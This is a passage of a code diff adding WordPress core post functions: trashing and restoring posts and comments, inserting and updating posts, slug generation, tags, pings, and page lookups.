@uses do_action() on 'trashed_post' after trashing + * + * @param int $postid Post ID. + * @return mixed False on failure + */ +function wp_trash_post($post_id = 0) { + if ( EMPTY_TRASH_DAYS == 0 ) + return wp_delete_post($post_id); + + if ( !$post = wp_get_single_post($post_id, ARRAY_A) ) + return $post; + + if ( $post['post_status'] == 'trash' ) + return false; + + do_action('trash_post', $post_id); + + add_post_meta($post_id,'_wp_trash_meta_status', $post['post_status']); + add_post_meta($post_id,'_wp_trash_meta_time', time()); + + $post['post_status'] = 'trash'; + wp_insert_post($post); + + wp_trash_post_comments($post_id); + + do_action('trashed_post', $post_id); + + return $post; +} + +/** + * Restores a post or page from the Trash + * + * @since 2.9.0 + * @uses do_action() on 'untrash_post' before undeletion + * @uses do_action() on 'untrashed_post' after undeletion + * + * @param int $postid Post ID. + * @return mixed False on failure + */ +function wp_untrash_post($post_id = 0) { + if ( !$post = wp_get_single_post($post_id, ARRAY_A) ) + return $post; + + if ( $post['post_status'] != 'trash' ) + return false; + + do_action('untrash_post', $post_id); + + $post_status = get_post_meta($post_id, '_wp_trash_meta_status', true); + + $post['post_status'] = $post_status; + + delete_post_meta($post_id, '_wp_trash_meta_status'); + delete_post_meta($post_id, '_wp_trash_meta_time'); + + wp_insert_post($post); + + wp_untrash_post_comments($post_id); + + do_action('untrashed_post', $post_id); + + return $post; +} + +/** + * Moves comments for a post to the trash + * + * @since 2.9.0 + * @uses do_action() on 'trash_post_comments' before trashing + * @uses do_action() on 'trashed_post_comments' after trashing + * + * @param int $post Post ID or object. + * @return mixed False on failure + */ +function wp_trash_post_comments($post = null) { + global $wpdb; + + $post = get_post($post); + if ( empty($post) ) + return; + + $post_id = $post->ID; + + do_action('trash_post_comments', $post_id); + + $comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_ID, comment_approved FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id) ); + if ( empty($comments) ) + return; + + // Cache current status for each comment + $statuses = array(); + foreach ( $comments as $comment ) + $statuses[$comment->comment_ID] = $comment->comment_approved; + add_post_meta($post_id, '_wp_trash_meta_comments_status', $statuses); + + // Set status for all comments to post-trashed + $result = $wpdb->update($wpdb->comments, array('comment_approved' => 'post-trashed'), array('comment_post_ID' => $post_id)); + + clean_comment_cache( array_keys($statuses) ); + + do_action('trashed_post_comments', $post_id, $statuses); + + return $result; +} + +/** + * Restore comments for a post from the trash + * + * @since 2.9.0 + * @uses do_action() on 'untrash_post_comments' before trashing + * @uses do_action() on 'untrashed_post_comments' after trashing + * + * @param int $post Post ID or object. + * @return mixed False on failure + */ +function wp_untrash_post_comments($post = null) { + global $wpdb; + + $post = get_post($post); + if ( empty($post) ) + return; + + $post_id = $post->ID; + + $statuses = get_post_meta($post_id, '_wp_trash_meta_comments_status', true); + + if ( empty($statuses) ) + return true; + + do_action('untrash_post_comments', $post_id); + + // Restore each comment to its original status + $group_by_status = array(); + foreach ( $statuses as $comment_id => $comment_status ) + $group_by_status[$comment_status][] = $comment_id; + + foreach ( $group_by_status as $status => $comments ) { + // Sanity check. This shouldn't happen. + if ( 'post-trashed' == $status ) + $status = '0'; + $comments_in = implode( "', '", $comments ); + $wpdb->query( "UPDATE $wpdb->comments SET comment_approved = '$status' WHERE comment_ID IN ('" . $comments_in . "')" ); + } + + clean_comment_cache( array_keys($statuses) ); + + delete_post_meta($post_id, '_wp_trash_meta_comments_status'); + + do_action('untrashed_post_comments', $post_id); +} + +/** + * Retrieve the list of categories for a post. + * + * Compatibility layer for themes and plugins. Also an easy layer of abstraction + * away from the complexity of the taxonomy layer. + * + * @since 2.1.0 + * + * @uses wp_get_object_terms() Retrieves the categories. Args details can be found here. + * + * @param int $post_id Optional. The Post ID. + * @param array $args Optional. Overwrite the defaults. + * @return array + */ +function wp_get_post_categories( $post_id = 0, $args = array() ) { + $post_id = (int) $post_id; + + $defaults = array('fields' => 'ids'); + $args = wp_parse_args( $args, $defaults ); + + $cats = wp_get_object_terms($post_id, 'category', $args); + return $cats; +} + +/** + * Retrieve the tags for a post. + * + * There is only one default for this function, called 'fields' and by default + * is set to 'all'. There are other defaults that can be overridden in + * {@link wp_get_object_terms()}. + * + * @package WordPress + * @subpackage Post + * @since 2.3.0 + * + * @uses wp_get_object_terms() Gets the tags for returning. Args can be found here + * + * @param int $post_id Optional. The Post ID + * @param array $args Optional. Overwrite the defaults + * @return array List of post tags. + */ +function wp_get_post_tags( $post_id = 0, $args = array() ) { + return wp_get_post_terms( $post_id, 'post_tag', $args); +} + +/** + * Retrieve the terms for a post. + * + * There is only one default for this function, called 'fields' and by default + * is set to 'all'. There are other defaults that can be overridden in + * {@link wp_get_object_terms()}. + * + * @package WordPress + * @subpackage Post + * @since 2.8.0 + * + * @uses wp_get_object_terms() Gets the tags for returning. Args can be found here + * + * @param int $post_id Optional. The Post ID + * @param string $taxonomy The taxonomy for which to retrieve terms. Defaults to post_tag. + * @param array $args Optional. Overwrite the defaults + * @return array List of post tags. + */ +function wp_get_post_terms( $post_id = 0, $taxonomy = 'post_tag', $args = array() ) { + $post_id = (int) $post_id; + + $defaults = array('fields' => 'all'); + $args = wp_parse_args( $args, $defaults ); + + $tags = wp_get_object_terms($post_id, $taxonomy, $args); + + return $tags; +} + +/** + * Retrieve number of recent posts. + * + * @since 1.0.0 + * @uses $wpdb + * + * @param int $num Optional, default is 10. Number of posts to get. + * @return array List of posts. + */ +function wp_get_recent_posts($num = 10) { + global $wpdb; + + // Set the limit clause, if we got a limit + $num = (int) $num; + if ( $num ) { + $limit = "LIMIT $num"; + } + + $sql = "SELECT * FROM $wpdb->posts WHERE post_type = 'post' AND post_status IN ( 'draft', 'publish', 'future', 'pending', 'private' ) ORDER BY post_date DESC $limit"; + $result = $wpdb->get_results($sql, ARRAY_A); + + return $result ? $result : array(); +} + +/** + * Retrieve a single post, based on post ID. + * + * Has categories in 'post_category' property or key. Has tags in 'tags_input' + * property or key. + * + * @since 1.0.0 + * + * @param int $postid Post ID. + * @param string $mode How to return result, either OBJECT, ARRAY_N, or ARRAY_A. + * @return object|array Post object or array holding post contents and information + */ +function wp_get_single_post($postid = 0, $mode = OBJECT) { + $postid = (int) $postid; + + $post = get_post($postid, $mode); + + // Set categories and tags + if($mode == OBJECT) { + $post->post_category = wp_get_post_categories($postid); + $post->tags_input = wp_get_post_tags($postid, array('fields' => 'names')); + } + else { + $post['post_category'] = wp_get_post_categories($postid); + $post['tags_input'] = wp_get_post_tags($postid, array('fields' => 'names')); + } + + return $post; +} + +/** + * Insert a post. + * + * If the $postarr parameter has 'ID' set to a value, then post will be updated. + * + * You can set the post date manually, but setting the values for 'post_date' + * and 'post_date_gmt' keys. You can close the comments or open the comments by + * setting the value for 'comment_status' key. + * + * The defaults for the parameter $postarr are: + * 'post_status' - Default is 'draft'. + * 'post_type' - Default is 'post'. + * 'post_author' - Default is current user ID ($user_ID). The ID of the user who added the post. + * 'ping_status' - Default is the value in 'default_ping_status' option. + * Whether the attachment can accept pings. + * 'post_parent' - Default is 0. Set this for the post it belongs to, if any. + * 'menu_order' - Default is 0. The order it is displayed. + * 'to_ping' - Whether to ping. + * 'pinged' - Default is empty string. + * 'post_password' - Default is empty string. The password to access the attachment. + * 'guid' - Global Unique ID for referencing the attachment. + * 'post_content_filtered' - Post content filtered. + * 'post_excerpt' - Post excerpt. + * + * @since 1.0.0 + * @link http://core.trac.wordpress.org/ticket/9084 Bug report on 'wp_insert_post_data' filter. + * @uses $wpdb + * @uses $wp_rewrite + * @uses $user_ID + * + * @uses do_action() Calls 'pre_post_update' on post ID if this is an update. + * @uses do_action() Calls 'edit_post' action on post ID and post data if this is an update. + * @uses do_action() Calls 'save_post' and 'wp_insert_post' on post id and post data just before + * returning. + * + * @uses apply_filters() Calls 'wp_insert_post_data' passing $data, $postarr prior to database + * update or insert. + * @uses wp_transition_post_status() + * + * @param array $postarr Optional. Overrides defaults. + * @param bool $wp_error Optional. Allow return of WP_Error on failure. + * @return int|WP_Error The value 0 or WP_Error on failure. The post ID on success. + */ +function wp_insert_post($postarr = array(), $wp_error = false) { + global $wpdb, $wp_rewrite, $user_ID; + + $defaults = array('post_status' => 'draft', 'post_type' => 'post', 'post_author' => $user_ID, + 'ping_status' => get_option('default_ping_status'), 'post_parent' => 0, + 'menu_order' => 0, 'to_ping' => '', 'pinged' => '', 'post_password' => '', + 'guid' => '', 'post_content_filtered' => '', 'post_excerpt' => '', 'import_id' => 0); + + $postarr = wp_parse_args($postarr, $defaults); + $postarr = sanitize_post($postarr, 'db'); + + // export array as variables + extract($postarr, EXTR_SKIP); + + // Are we updating or creating? + $update = false; + if ( !empty($ID) ) { + $update = true; + $previous_status = get_post_field('post_status', $ID); + } else { + $previous_status = 'new'; + } + + if ( ('' == $post_content) && ('' == $post_title) && ('' == $post_excerpt) && ('attachment' != $post_type) ) { + if ( $wp_error ) + return new WP_Error('empty_content', __('Content, title, and excerpt are empty.')); + else + return 0; + } + + // Make sure we set a valid category + if ( empty($post_category) || 0 == count($post_category) || !is_array($post_category) ) { + $post_category = array(get_option('default_category')); + } + + //Set the default tag list + if ( !isset($tags_input) ) + $tags_input = array(); + + if ( empty($post_author) ) + $post_author = $user_ID; + + if ( empty($post_status) ) + $post_status = 'draft'; + + if ( empty($post_type) ) + $post_type = 'post'; + + $post_ID = 0; + + // Get the post ID and GUID + if ( $update ) { + $post_ID = (int) $ID; + $guid = get_post_field( 'guid', $post_ID ); + } + + // Don't allow contributors to set to set the post slug for pending review posts + if ( 'pending' == $post_status && !current_user_can( 'publish_posts' ) ) + $post_name = ''; + + // Create a valid post name. Drafts and pending posts are allowed to have an empty + // post name. + if ( !isset($post_name) || empty($post_name) ) { + if ( !in_array( $post_status, array( 'draft', 'pending' ) ) ) + $post_name = sanitize_title($post_title); + else + $post_name = ''; + } else { + $post_name = sanitize_title($post_name); + } + + // If the post date is empty (due to having been new or a draft) and status is not 'draft' or 'pending', set date to now + if ( empty($post_date) || '0000-00-00 00:00:00' == $post_date ) + $post_date = current_time('mysql'); + + if ( empty($post_date_gmt) || '0000-00-00 00:00:00' == $post_date_gmt ) { + if ( !in_array( $post_status, array( 'draft', 'pending' ) ) ) + $post_date_gmt = get_gmt_from_date($post_date); + else + $post_date_gmt = '0000-00-00 00:00:00'; + } + + if ( $update || '0000-00-00 00:00:00' == $post_date ) { + $post_modified = current_time( 'mysql' ); + $post_modified_gmt = current_time( 'mysql', 1 ); + } else { + $post_modified = $post_date; + $post_modified_gmt = $post_date_gmt; + } + + if ( 'publish' == $post_status ) { + $now = gmdate('Y-m-d H:i:59'); + if ( mysql2date('U', $post_date_gmt, false) > mysql2date('U', $now, false) ) + $post_status = 'future'; + } + + if ( empty($comment_status) ) { + if ( $update ) + $comment_status = 'closed'; + else + $comment_status = get_option('default_comment_status'); + } + if ( empty($ping_status) ) + $ping_status = get_option('default_ping_status'); + + if ( isset($to_ping) ) + $to_ping = preg_replace('|\s+|', "\n", $to_ping); + else + $to_ping = ''; + + if ( ! isset($pinged) ) + $pinged = ''; + + if ( isset($post_parent) ) + $post_parent = (int) $post_parent; + else + $post_parent = 0; + + if ( !empty($post_ID) ) { + if ( $post_parent == $post_ID ) { + // Post can't be its own parent + $post_parent = 0; + } elseif ( !empty($post_parent) ) { + $parent_post = get_post($post_parent); + // Check for circular dependency + if ( $parent_post->post_parent == $post_ID ) + $post_parent = 0; + } + } + + if ( isset($menu_order) ) + $menu_order = (int) $menu_order; + else + $menu_order = 0; + + if ( !isset($post_password) || 'private' == $post_status ) + $post_password = ''; + + $post_name = wp_unique_post_slug($post_name, $post_ID, $post_status, $post_type, $post_parent); + + // expected_slashed (everything!) + $data = compact( array( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'guid' ) ); + $data = apply_filters('wp_insert_post_data', $data, $postarr); + $data = stripslashes_deep( $data ); + $where = array( 'ID' => $post_ID ); + + if ($update) { + do_action( 'pre_post_update', $post_ID ); + if ( false === $wpdb->update( $wpdb->posts, $data, $where ) ) { + if ( $wp_error ) + return new WP_Error('db_update_error', __('Could not update post in the database'), $wpdb->last_error); + else + return 0; + } + } else { + if ( isset($post_mime_type) ) + $data['post_mime_type'] = stripslashes( $post_mime_type ); // This isn't in the update + // If there is a suggested ID, use it if not already present + if ( !empty($import_id) ) { + $import_id = (int) $import_id; + if ( ! $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id) ) ) { + $data['ID'] = $import_id; + } + } + if ( false === $wpdb->insert( $wpdb->posts, $data ) ) { + if ( $wp_error ) + return new WP_Error('db_insert_error', __('Could not insert post into the database'), $wpdb->last_error); + else + return 0; + } + $post_ID = (int) $wpdb->insert_id; + + // use the newly generated $post_ID + $where = array( 'ID' => $post_ID ); + } + + if ( empty($data['post_name']) && !in_array( $data['post_status'], array( 'draft', 'pending' ) ) ) { + $data['post_name'] = sanitize_title($data['post_title'], $post_ID); + $wpdb->update( $wpdb->posts, array( 'post_name' => $data['post_name'] ), $where ); + } + + wp_set_post_categories( $post_ID, $post_category ); + // old-style tags_input + if ( !empty($tags_input) ) + wp_set_post_tags( $post_ID, $tags_input ); + // new-style support for all tag-like taxonomies + if ( !empty($tax_input) ) { + foreach ( $tax_input as $taxonomy => $tags ) { + wp_set_post_terms( $post_ID, $tags, $taxonomy ); + } + } + + $current_guid = get_post_field( 'guid', $post_ID ); + + if ( 'page' == $data['post_type'] ) + clean_page_cache($post_ID); + else + clean_post_cache($post_ID); + + // Set GUID + if ( !$update && '' == $current_guid ) + $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post_ID ) ), $where ); + + $post = get_post($post_ID); + + if ( !empty($page_template) && 'page' == $data['post_type'] ) { + $post->page_template = $page_template; + $page_templates = get_page_templates(); + if ( 'default' != $page_template && !in_array($page_template, $page_templates) ) { + if ( $wp_error ) + return new WP_Error('invalid_page_template', __('The page template is invalid.')); + else + return 0; + } + update_post_meta($post_ID, '_wp_page_template', $page_template); + } + + wp_transition_post_status($data['post_status'], $previous_status, $post); + + if ( $update) + do_action('edit_post', $post_ID, $post); + + do_action('save_post', $post_ID, $post); + do_action('wp_insert_post', $post_ID, $post); + + return $post_ID; +} + +/** + * Update a post with new post data. + * + * The date does not have to be set for drafts. You can set the date and it will + * not be overridden. + * + * @since 1.0.0 + * + * @param array|object $postarr Post data. Arrays are expected to be escaped, objects are not. + * @return int 0 on failure, Post ID on success. + */ +function wp_update_post($postarr = array()) { + if ( is_object($postarr) ) { + // non-escaped post was passed + $postarr = get_object_vars($postarr); + $postarr = add_magic_quotes($postarr); + } + + // First, get all of the original fields + $post = wp_get_single_post($postarr['ID'], ARRAY_A); + + // Escape data pulled from DB. + $post = add_magic_quotes($post); + + // Passed post category list overwrites existing category list if not empty. + if ( isset($postarr['post_category']) && is_array($postarr['post_category']) + && 0 != count($postarr['post_category']) ) + $post_cats = $postarr['post_category']; + else + $post_cats = $post['post_category']; + + // Drafts shouldn't be assigned a date unless explicitly done so by the user + if ( in_array($post['post_status'], array('draft', 'pending')) && empty($postarr['edit_date']) && + ('0000-00-00 00:00:00' == $post['post_date_gmt']) ) + $clear_date = true; + else + $clear_date = false; + + // Merge old and new fields with new fields overwriting old ones. + $postarr = array_merge($post, $postarr); + $postarr['post_category'] = $post_cats; + if ( $clear_date ) { + $postarr['post_date'] = current_time('mysql'); + $postarr['post_date_gmt'] = ''; + } + + if ($postarr['post_type'] == 'attachment') + return wp_insert_attachment($postarr); + + return wp_insert_post($postarr); +} + +/** + * Publish a post by transitioning the post status. + * + * @since 2.1.0 + * @uses $wpdb + * @uses do_action() Calls 'edit_post', 'save_post', and 'wp_insert_post' on post_id and post data. + * + * @param int $post_id Post ID. + * @return null + */ +function wp_publish_post($post_id) { + global $wpdb; + + $post = get_post($post_id); + + if ( empty($post) ) + return; + + if ( 'publish' == $post->post_status ) + return; + + $wpdb->update( $wpdb->posts, array( 'post_status' => 'publish' ), array( 'ID' => $post_id ) ); + + $old_status = $post->post_status; + $post->post_status = 'publish'; + wp_transition_post_status('publish', $old_status, $post); + + // Update counts for the post's terms. + foreach ( (array) get_object_taxonomies('post') as $taxonomy ) { + $tt_ids = wp_get_object_terms($post_id, $taxonomy, 'fields=tt_ids'); + wp_update_term_count($tt_ids, $taxonomy); + } + + do_action('edit_post', $post_id, $post); + do_action('save_post', $post_id, $post); + do_action('wp_insert_post', $post_id, $post); +} + +/** + * Publish future post and make sure post ID has future post status. + * + * Invoked by cron 'publish_future_post' event. This safeguard prevents cron + * from publishing drafts, etc. + * + * @since 2.5.0 + * + * @param int $post_id Post ID. + * @return null Nothing is returned. Which can mean that no action is required or post was published. + */ +function check_and_publish_future_post($post_id) { + + $post = get_post($post_id); + + if ( empty($post) ) + return; + + if ( 'future' != $post->post_status ) + return; + + $time = strtotime( $post->post_date_gmt . ' GMT' ); + + if ( $time > time() ) { // Uh oh, someone jumped the gun! + wp_clear_scheduled_hook( 'publish_future_post', $post_id ); // clear anything else in the system + wp_schedule_single_event( $time, 'publish_future_post', array( $post_id ) ); + return; + } + + return wp_publish_post($post_id); +} + + +/** + * Given the desired slug and some post details computes a unique slug for the post. + * + * @global wpdb $wpdb + * @global WP_Rewrite $wp_rewrite + * @param string $slug the desired slug (post_name) + * @param integer $post_ID + * @param string $post_status no uniqueness checks are made if the post is still draft or pending + * @param string $post_type + * @param integer $post_parent + * @return string unique slug for the post, based on $post_name (with a -1, -2, etc. suffix) + */ +function wp_unique_post_slug($slug, $post_ID, $post_status, $post_type, $post_parent) { + if ( in_array( $post_status, array( 'draft', 'pending' ) ) ) + return $slug; + + global $wpdb, $wp_rewrite; + + $feeds = $wp_rewrite->feeds; + if ( !is_array($feeds) ) + $feeds = array(); + + $hierarchical_post_types = apply_filters('hierarchical_post_types', array('page')); + if ( 'attachment' == $post_type ) { + // Attachment slugs must be unique across all types. + $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND ID != %d LIMIT 1"; + $post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $slug, $post_ID)); + + if ( $post_name_check || in_array($slug, $feeds) ) { + $suffix = 2; + do { + $alt_post_name = substr($slug, 0, 200-(strlen($suffix)+1)). "-$suffix"; + $post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $alt_post_name, $post_ID)); + $suffix++; + } while ($post_name_check); + $slug = $alt_post_name; + } + } elseif ( in_array($post_type, $hierarchical_post_types) ) { + // Page slugs must be unique within their own trees. Pages are in a + // separate namespace than posts so page slugs are allowed to overlap post slugs. + $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type IN ( '" . implode("', '", esc_sql($hierarchical_post_types)) . "' ) AND ID != %d AND post_parent = %d LIMIT 1"; + $post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $slug, $post_ID, $post_parent)); + + if ( $post_name_check || in_array($slug, $feeds) ) { + $suffix = 2; + do { + $alt_post_name = substr($slug, 0, 200-(strlen($suffix)+1)). "-$suffix"; + $post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $alt_post_name, $post_ID, $post_parent)); + $suffix++; + } while ($post_name_check); + $slug = $alt_post_name; + } + } else { + // Post slugs must be unique across all posts. + $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1"; + $post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $slug, $post_type, $post_ID)); + + if ( $post_name_check || in_array($slug, $wp_rewrite->feeds) ) { + $suffix = 2; + do { + $alt_post_name = substr($slug, 0, 200-(strlen($suffix)+1)). "-$suffix"; + $post_name_check = $wpdb->get_var($wpdb->prepare($check_sql, $alt_post_name, $post_type, $post_ID)); + $suffix++; + } while ($post_name_check); + $slug = $alt_post_name; + } + } + + return $slug; +} + +/** + * Adds tags to a post. + * + * @uses wp_set_post_tags() Same first two parameters, but the last parameter is always set to true. + * + * @package WordPress + * @subpackage Post + * @since 2.3.0 + * + * @param int $post_id Post ID + * @param string $tags The tags to set for the post, separated by commas. + * @return bool|null Will return false if $post_id is not an integer or is 0. Will return null otherwise + */ +function wp_add_post_tags($post_id = 0, $tags = '') { + return wp_set_post_tags($post_id, $tags, true); +} + + +/** + * Set the tags for a post. + * + * @since 2.3.0 + * @uses wp_set_object_terms() Sets the tags for the post. + * + * @param int $post_id Post ID. + * @param string $tags The tags to set for the post, separated by commas. + * @param bool $append If true, don't delete existing tags, just add on. If false, replace the tags with the new tags. + * @return bool|null Will return false if $post_id is not an integer or is 0. Will return null otherwise + */ +function wp_set_post_tags( $post_id = 0, $tags = '', $append = false ) { + return wp_set_post_terms( $post_id, $tags, 'post_tag', $append); +} + +/** + * Set the terms for a post. + * + * @since 2.8.0 + * @uses wp_set_object_terms() Sets the tags for the post. + * + * @param int $post_id Post ID. + * @param string $tags The tags to set for the post, separated by commas. + * @param bool $append If true, don't delete existing tags, just add on. If false, replace the tags with the new tags. + * @return bool|null Will return false if $post_id is not an integer or is 0. Will return null otherwise + */ +function wp_set_post_terms( $post_id = 0, $tags = '', $taxonomy = 'post_tag', $append = false ) { + $post_id = (int) $post_id; + + if ( !$post_id ) + return false; + + if ( empty($tags) ) + $tags = array(); + + $tags = is_array($tags) ? $tags : explode( ',', trim($tags, " \n\t\r\0\x0B,") ); + wp_set_object_terms($post_id, $tags, $taxonomy, $append); +} + +/** + * Set categories for a post. + * + * If the post categories parameter is not set, then the default category is + * going used. + * + * @since 2.1.0 + * + * @param int $post_ID Post ID. + * @param array $post_categories Optional. List of categories. + * @return bool|mixed + */ +function wp_set_post_categories($post_ID = 0, $post_categories = array()) { + $post_ID = (int) $post_ID; + // If $post_categories isn't already an array, make it one: + if (!is_array($post_categories) || 0 == count($post_categories) || empty($post_categories)) + $post_categories = array(get_option('default_category')); + else if ( 1 == count($post_categories) && '' == $post_categories[0] ) + return true; + + $post_categories = array_map('intval', $post_categories); + $post_categories = array_unique($post_categories); + + return wp_set_object_terms($post_ID, $post_categories, 'category'); +} + +/** + * Transition the post status of a post. + * + * Calls hooks to transition post status. + * + * The first is 'transition_post_status' with new status, old status, and post data. + * + * The next action called is 'OLDSTATUS_to_NEWSTATUS' the 'NEWSTATUS' is the + * $new_status parameter and the 'OLDSTATUS' is $old_status parameter; it has the + * post data. + * + * The final action is named 'NEWSTATUS_POSTTYPE', 'NEWSTATUS' is from the $new_status + * parameter and POSTTYPE is post_type post data. + * + * @since 2.3.0 + * @link http://codex.wordpress.org/Post_Status_Transitions + * + * @uses do_action() Calls 'transition_post_status' on $new_status, $old_status and + * $post if there is a status change. + * @uses do_action() Calls '${old_status}_to_$new_status' on $post if there is a status change. + * @uses do_action() Calls '${new_status}_$post->post_type' on post ID and $post. + * + * @param string $new_status Transition to this post status. + * @param string $old_status Previous post status. + * @param object $post Post data. + */ +function wp_transition_post_status($new_status, $old_status, $post) { + do_action('transition_post_status', $new_status, $old_status, $post); + do_action("${old_status}_to_$new_status", $post); + do_action("${new_status}_$post->post_type", $post->ID, $post); +} + +// +// Trackback and ping functions +// + +/** + * Add a URL to those already pung. + * + * @since 1.5.0 + * @uses $wpdb + * + * @param int $post_id Post ID. + * @param string $uri Ping URI. + * @return int How many rows were updated. + */ +function add_ping($post_id, $uri) { + global $wpdb; + $pung = $wpdb->get_var( $wpdb->prepare( "SELECT pinged FROM $wpdb->posts WHERE ID = %d", $post_id )); + $pung = trim($pung); + $pung = preg_split('/\s/', $pung); + $pung[] = $uri; + $new = implode("\n", $pung); + $new = apply_filters('add_ping', $new); + // expected_slashed ($new) + $new = stripslashes($new); + return $wpdb->update( $wpdb->posts, array( 'pinged' => $new ), array( 'ID' => $post_id ) ); +} + +/** + * Retrieve enclosures already enclosed for a post. + * + * @since 1.5.0 + * @uses $wpdb + * + * @param int $post_id Post ID. + * @return array List of enclosures + */ +function get_enclosed($post_id) { + $custom_fields = get_post_custom( $post_id ); + $pung = array(); + if ( !is_array( $custom_fields ) ) + return $pung; + + foreach ( $custom_fields as $key => $val ) { + if ( 'enclosure' != $key || !is_array( $val ) ) + continue; + foreach( $val as $enc ) { + $enclosure = split( "\n", $enc ); + $pung[] = trim( $enclosure[ 0 ] ); + } + } + $pung = apply_filters('get_enclosed', $pung); + return $pung; +} + +/** + * Retrieve URLs already pinged for a post. + * + * @since 1.5.0 + * @uses $wpdb + * + * @param int $post_id Post ID. + * @return array + */ +function get_pung($post_id) { + global $wpdb; + $pung = $wpdb->get_var( $wpdb->prepare( "SELECT pinged FROM $wpdb->posts WHERE ID = %d", $post_id )); + $pung = trim($pung); + $pung = preg_split('/\s/', $pung); + $pung = apply_filters('get_pung', $pung); + return $pung; +} + +/** + * Retrieve URLs that need to be pinged. + * + * @since 1.5.0 + * @uses $wpdb + * + * @param int $post_id Post ID + * @return array + */ +function get_to_ping($post_id) { + global $wpdb; + $to_ping = $wpdb->get_var( $wpdb->prepare( "SELECT to_ping FROM $wpdb->posts WHERE ID = %d", $post_id )); + $to_ping = trim($to_ping); + $to_ping = preg_split('/\s/', $to_ping, -1, PREG_SPLIT_NO_EMPTY); + $to_ping = apply_filters('get_to_ping', $to_ping); + return $to_ping; +} + +/** + * Do trackbacks for a list of URLs. + * + * @since 1.0.0 + * + * @param string $tb_list Comma separated list of URLs + * @param int $post_id Post ID + */ +function trackback_url_list($tb_list, $post_id) { + if ( ! empty( $tb_list ) ) { + // get post data + $postdata = wp_get_single_post($post_id, ARRAY_A); + + // import postdata as variables + extract($postdata, EXTR_SKIP); + + // form an excerpt + $excerpt = strip_tags($post_excerpt ? $post_excerpt : $post_content); + + if (strlen($excerpt) > 255) { + $excerpt = substr($excerpt,0,252) . '...'; + } + + $trackback_urls = explode(',', $tb_list); + foreach( (array) $trackback_urls as $tb_url) { + $tb_url = trim($tb_url); + trackback($tb_url, stripslashes($post_title), $excerpt, $post_id); + } + } +} + +// +// Page functions +// + +/** + * Get a list of page IDs. + * + * @since 2.0.0 + * @uses $wpdb + * + * @return array List of page IDs. + */ +function get_all_page_ids() { + global $wpdb; + + if ( ! $page_ids = wp_cache_get('all_page_ids', 'posts') ) { + $page_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE post_type = 'page'"); + wp_cache_add('all_page_ids', $page_ids, 'posts'); + } + + return $page_ids; +} + +/** + * Retrieves page data given a page ID or page object. + * + * @since 1.5.1 + * + * @param mixed $page Page object or page ID. Passed by reference. + * @param string $output What to output. OBJECT, ARRAY_A, or ARRAY_N. + * @param string $filter How the return value should be filtered. + * @return mixed Page data. + */ +function &get_page(&$page, $output = OBJECT, $filter = 'raw') { + if ( empty($page) ) { + if ( isset( $GLOBALS['post'] ) && isset( $GLOBALS['post']->ID ) ) { + return get_post($GLOBALS['post'], $output, $filter); + } else { + $page = null; + return $page; + } + } + + $the_page = get_post($page, $output, $filter); + return $the_page; +} + +/** + * Retrieves a page given its path. + * + * @since 2.1.0 + * @uses $wpdb + * + * @param string $page_path Page path + * @param string $output Optional. Output type. OBJECT, ARRAY_N, or ARRAY_A. + * @return mixed Null when complete. + */ +function get_page_by_path($page_path, $output = OBJECT) { + global $wpdb; + $page_path = rawurlencode(urldecode($page_path)); + $page_path = str_replace('%2F', '/', $page_path); + $page_path = str_replace('%20', ' ', $page_path); + $page_paths = '/' . trim($page_path, '/'); + $leaf_path = sanitize_title(basename($page_paths)); + $page_paths = explode('/', $page_paths); + $full_path = ''; + foreach( (array) $page_paths as $pathdir) + $full_path .= ($pathdir!=''?'/':'') . sanitize_title($pathdir); + + $pages = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_name = %s AND (post_type = 'page' OR post_type = 'attachment')", $leaf_path )); + + if ( empty($pages) ) + return null; + + foreach ($pages as $page) { + $path = '/' . $leaf_path; + $curpage = $page; + while ($curpage->post_parent != 0) { + $curpage = $wpdb->get_row( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE ID = %d and post_type='page'", $curpage->post_parent )); + $path = '/' . $curpage->post_name . $path; + } + + if ( $path == $full_path ) + return get_page($page->ID, $output); + } + + return null; +} + +/** + * Retrieve a page given its title. + * + * @since 2.1.0 + * @uses $wpdb + * + * @param string $page_title Page title + * @param string $output Optional. Output type. OBJECT, ARRAY_N, or ARRAY_A. + * @return mixed + */ +function get_page_by_title($page_title, $output = OBJECT) { + global $wpdb; + $page = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type='page'", $page_title )); + if ( $page ) + return get_page($page, $output); + + return null; +} + +/** + * Retrieve child pages from list of pages matching page ID. + * + * Matches against the pages parameter against the page ID. Also matches all + * children for the same to retrieve all children of a page. Does not make any + * SQL queries to get the children. + * + * @since 1.5.1 + * + * @param int $page_id Page ID. + * @param array $pages List of pages' objects. + * @return array + */ +function &get_page_children($page_id, $pages) { + $page_list = array(); + foreach ( (array) $pages as $page ) { + if ( $page->post_parent == $page_id ) { + $page_list[] = $page; + if ( $children = get_page_children($page->ID, $pages) ) + $page_list = array_merge($page_list, $children); + } + } + return $page_list; +} + +/** + * Order the pages with children under parents in a flat list. + * + * It uses auxiliary structure to hold parent-children relationships and + * runs in O(N) complexity + * + * @since 2.0.0 + * + * @param array $posts Posts array. + * @param int $parent Parent page ID. + * @return array A list arranged by hierarchy. Children immediately follow their parents. + */ +function &get_page_hierarchy( &$pages, $page_id = 0 ) { + + if ( empty( $pages ) ) { + $return = array(); + return $return; + } + + $children = array(); + foreach ( (array) $pages as $p ) { + + $parent_id = intval( $p->post_parent ); + 